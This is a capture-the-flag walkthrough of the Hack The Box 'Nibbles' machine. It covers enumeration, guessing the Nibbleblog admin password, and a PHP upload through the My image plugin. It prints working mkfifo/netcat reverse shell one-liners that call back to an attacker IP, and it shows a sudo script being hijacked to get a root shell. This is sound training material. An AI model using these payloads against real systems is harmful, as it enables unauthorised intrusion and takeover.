HTB | Nibbles Walkthrough
Hi there, I’m glad to see you here. In this article, we’ll solve together the “Nibbles” room in Hack The Box. In some sections, I’ll share brief about the subject. Don’t forget! You must always research to learn more. I hope it will be helpful for you. Let’s start!
Contents:
-Enumeration
-Web Footprinting
-Initial Foothold
-Privilege Escalation
Enumeration
Let us begin with a quick nmap
scan to look for open ports using the following command:
nmap -sC -sV -p- --open -oA nibbles 10.129.161.48
From the scan output, we can see that the host is likely Ubuntu Linux
and exposes an Apache
web server on port 80
and an OpenSSH
server on port 22
.
Using nc (netcat)
to do some banner grabbing confirms what nmap told us; the target is running an Apache
web server and an OpenSSH
server.
❗️Banner Grabbing
is a technique used to gain information about a computer system on a network and the services running on its open ports.
nc -nv 10.129.161.48 22
-n: Numeric-only IP addresses, no DNS
-v: Verbose (use twice to be more verbose)
nc -nv 10.129.161.48 80
-n: Numeric-only IP addresses, no DNS
-v: Verbose (use twice to be more verbose)
Web Footprinting
Browsing to the target in Firefox shows us a simple Hello world!
message.
Checking the page source reveals an interesting comment. The HTML comment mentions a directory named nibbleblog
.
Browsing to the /nibbleblog
directory in Firefox, we do not see anything exciting on the main page.
Let us use gobuster
to be thorough and check for any other accessible pages/directories.
gobuster dir -u http://10.129.161.48/nibbleblog/ -w /root/Desktop/SecLists/Discovery/Web-Content/common.txt
dir: Uses directory/file enumeration mode
-u: The target URL
-w: Path to the wordlist
Gobuster finishes very quickly and confirms the presence of the admin.php
page. Let us check out the admin portal login page.
We can try some authorization bypass techniques and common credential pairs manually, such as admin:admin
and admin:password
, to no avail. Also, too many login attempts too quickly trigger a lockout with the message Nibbleblog security error-Blacklist protection
.
Let us go back to our directory brute-forcing results. The 200
status codes show pages/directories that are directly accessible. The 403
status codes in the output indicate that access to these resources is forbidden. Finally, the 301
is a permanent redirect.
Browsing to nibbleblog/content
shows some interesting subdirectories public
, private
, and tmp
. Digging around for a while, we find a users.xml
file which at least seems to confirm the username is indeed admin
. It also shows blacklisted IP addresses.
http://10.129.161.48/nibbleblog/content/private/users.xml
At this point, we have a valid username but no password.
Taking another look through all of the exposed directories, we find a config.xml
file.
Checking it, hoping for passwords proofs fruitless, but we do see two mentions of nibbles
in the site title as well as the notification e-mail address. This is also the name of the box. Could this be the admin password?
http://10.129.161.48/nibbleblog/content/private/config.xml
BINGO! We are now logged in to the admin portal.
Initial Foothold
Looking around a bit, we see the following pages:
Attempting to make a new page and embed code or upload files does not seem like the path. Let us check out the Plugins
page.
Plugins: Allows us to configure, install, or uninstall plugins. The My image
plugin allows us to upload an image file. Could this be abused to upload PHP code potentially?
Let us attempt to use this plugin to upload a snippet of PHP code instead of an image. The following snippet can be used to test for code execution:
<?php system('id'); ?>
Save this code to a file and then click on the Browse
button and upload it.
Now we have to find out where the file uploaded if it was successful. Going back to the directory brute-forcing results, we remember the /content
directory. Under this, there is a plugins directory and another subdirectory for my_image
. In this directory, we see two files, db.xml
and image.php
, with a recent last modified date, meaning that our upload was successful! Let us check and see if we have command execution.
http://10.129.161.48/nibbleblog/content/private/plugins/my_image/
We do! It looks like we have gained remote code execution on the web server, and the Apache server is running in the nibbler
user context. Let us modify our PHP file to obtain a reverse shell and start poking around the server.
Let us edit our local PHP file and upload it again. This command should get us a reverse shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENING PORT) >/tmp/f
We will add our tun0
VPN IP address in the <ATTACKING IP>
placeholder and a port of our choice for <LISTENING PORT>
to catch the reverse shell on our netcat listener.
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.40 4444 >/tmp/f"); ?>
We upload the file again and start a netcat
listener in our terminal.
nc -lvnp 4444
-l: Listen mode, for inbound connects
-v: Verbose (use twice to be more verbose)
-n: Numeric-only IP addresses, no DNS
-p: Local port number
Furthermore, we have a reverse shell. Before we move forward with additional enumeration, let us upgrade our shell to a “nicer” shell since the shell that we caught is not a fully interactive TTY
and specific commands such as su will not work, we cannot use text editors, tab-completion does not work, etc.
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys
python3 -c 'import pty; pty.spawn("/bin/bash")'
Browsing to /home/nibbler
, we find the user.txt
flag as well as a zip file personal.zip
.
Privilege Escalation
Now that we have a reverse shell connection, it is time to escalate privileges. We can unzip the personal.zip
file and see a file called monitor.sh
.
Let us pull in LinEnum.sh
to perform some automated privilege escalation checks.
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
First, download the script to your local attack VM or the Pwnbox and then start a Python HTTP Server
using the following command:
python3 -m http.server 8080
Back on the target type wget http://<your ip>:8080/LinEnum.sh
to download the script.
If successful, we will see a 200
success response on our Python HTTP server.
Once the script is pulled over, type chmod +x LinEnum.sh
to make the script executable and then type ./LinEnum.sh
to run it.
We see a ton of interesting output but what immediately catches the eye are sudo
privileges.
The nibbler
user can run the file /home/nibbler/personal/stuff/monitor.sh
with root privileges. Being that we have full control over that file, if we append a reverse shell one-liner to the end of it and execute with sudo we should get a reverse shell back as the root
user. Let us edit the monitor.sh
file to append a reverse shell one-liner.
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 10.10.16.40 5555 >/tmp/f' | tee -a monitor.sh
❗️tee -a: Append to the given files, do not overwrite.
If we cat the monitor.sh
file, we will see the contents appended to the end. Execute the script with sudo
:
sudo /home/nibbler/personal/stuff/monitor.sh
Finally, catch the root shell on our waiting nc listener.
nc -lvnp 5555
-l: Listen mode, for inbound connects
-v: Verbose (use twice to be more verbose)
-n: Numeric-only IP addresses, no DNS
-p: Local port number
From here, we can grab the root.txt
flag.
Congratulations! You found all the flags. 👌🏻
Thank you for your time. See you soon! Until that time.. Happy Hacking ❤
Resources:
https://nmap.org/book/man-briefoptions.html
https://en.wikipedia.org/wiki/Banner_grabbing
https://developer.mozilla.org/en-US/docs/Web/HTTP/Status
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh